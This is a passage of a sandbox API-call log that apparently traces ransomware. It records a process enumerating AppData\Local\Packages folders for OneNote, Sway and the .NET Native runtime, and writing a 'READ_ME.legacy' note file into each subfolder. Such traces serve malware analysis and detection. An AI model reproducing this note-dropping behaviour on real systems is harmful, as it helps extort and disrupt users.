lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.354] CloseHandle (hObject=0x8b8) returned 1 [0154.354] FindNextFileW (in: hFindFile=0x61e688, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe388f095, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe388f095, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe38b5963, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.354] FindNextFileW (in: hFindFile=0x61e688, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c2f328, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce399062, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28c2f328, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.354] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0154.355] WriteFile (in: hFile=0x8b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.355] CloseHandle (hObject=0x8b8) returned 1 [0154.356] FindNextFileW (in: hFindFile=0x61e688, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c555af, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.356] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0154.420] WriteFile (in: hFile=0x8b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.421] CloseHandle (hObject=0x8b8) returned 1 [0154.421] FindNextFileW (in: hFindFile=0x61e688, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c2f328, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce44eb59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28c2f328, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.422] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Runtime.1.6_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.runtime.1.6_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8b8 [0154.422] WriteFile (in: hFile=0x8b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.423] CloseHandle (hObject=0x8b8) returned 1 [0154.423] FindNextFileW (in: hFindFile=0x61e688, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c2f328, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xce44eb59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28c2f328, ftLastWriteTime.dwHighDateTime=0x1d32719, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.423] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e030d8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x8d974b3f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe38b5963, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e6c8 [0154.424] FindNextFileW (in: hFindFile=0x61e6c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e030d8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x8d974b3f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe38b5963, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.424] FindNextFileW (in: hFindFile=0x61e6c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28f343d5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x352fda34, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x352fda34, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.424] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0154.428] WriteFile (in: hFile=0x8bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.428] CloseHandle (hObject=0x8bc) returned 1 [0154.428] FindNextFileW (in: hFindFile=0x61e6c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28ec1d32, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce454200, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28ec1d32, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.429] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0154.429] WriteFile (in: hFile=0x8bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.430] CloseHandle (hObject=0x8bc) returned 1 [0154.430] FindNextFileW (in: hFindFile=0x61e6c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e29353, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce454a7a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28e29353, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.431] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0154.432] WriteFile (in: hFile=0x8bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.432] CloseHandle (hObject=0x8bc) returned 1 [0154.433] FindNextFileW (in: hFindFile=0x61e6c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e030d8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce4552a7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28e030d8, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.433] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0154.433] WriteFile (in: hFile=0x8bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.434] CloseHandle (hObject=0x8bc) returned 1 [0154.434] FindNextFileW (in: hFindFile=0x61e6c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38b5963, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe38b5963, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe38b5963, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.434] FindNextFileW (in: hFindFile=0x61e6c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e030d8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce4559e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28e030d8, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.434] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0154.435] WriteFile (in: hFile=0x8bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.436] CloseHandle (hObject=0x8bc) returned 1 [0154.436] FindNextFileW (in: hFindFile=0x61e6c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e29353, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7128025e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7128025e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.436] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0154.471] WriteFile (in: hFile=0x8bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.472] CloseHandle (hObject=0x8bc) returned 1 [0154.472] FindNextFileW (in: hFindFile=0x61e6c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d747894, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8d747894, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8d747894, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.472] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0154.473] WriteFile (in: hFile=0x8bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.474] CloseHandle (hObject=0x8bc) returned 1 [0154.474] FindNextFileW (in: hFindFile=0x61e6c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e29353, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce51c9dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28e29353, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.474] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8bc [0154.474] WriteFile (in: hFile=0x8bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.475] CloseHandle (hObject=0x8bc) returned 1 [0154.475] FindNextFileW (in: hFindFile=0x61e6c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28e29353, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce51c9dd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28e29353, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.475] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd6e72acf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe38b5963, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e588 [0154.475] FindNextFileW (in: hFindFile=0x61e588, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd6e72acf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe38b5963, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.475] FindNextFileW (in: hFindFile=0x61e588, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x270f45ba, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x355f8919, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x355f8919, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.475] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0154.478] WriteFile (in: hFile=0x8c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.480] CloseHandle (hObject=0x8c0) returned 1 [0154.480] FindNextFileW (in: hFindFile=0x61e588, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x270a815c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce521aa5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x270a815c, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.480] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0154.481] WriteFile (in: hFile=0x8c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.481] CloseHandle (hObject=0x8c0) returned 1 [0154.481] FindNextFileW (in: hFindFile=0x61e588, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f2a964, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce5222ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26f2a964, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.481] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0154.483] WriteFile (in: hFile=0x8c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.484] CloseHandle (hObject=0x8c0) returned 1 [0154.484] FindNextFileW (in: hFindFile=0x61e588, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce522bb3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26f04703, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.484] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0154.485] WriteFile (in: hFile=0x8c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.486] CloseHandle (hObject=0x8c0) returned 1 [0154.486] FindNextFileW (in: hFindFile=0x61e588, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38b5963, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe38b5963, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe38b5963, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.486] FindNextFileW (in: hFindFile=0x61e588, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce523499, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26f04703, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.486] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: 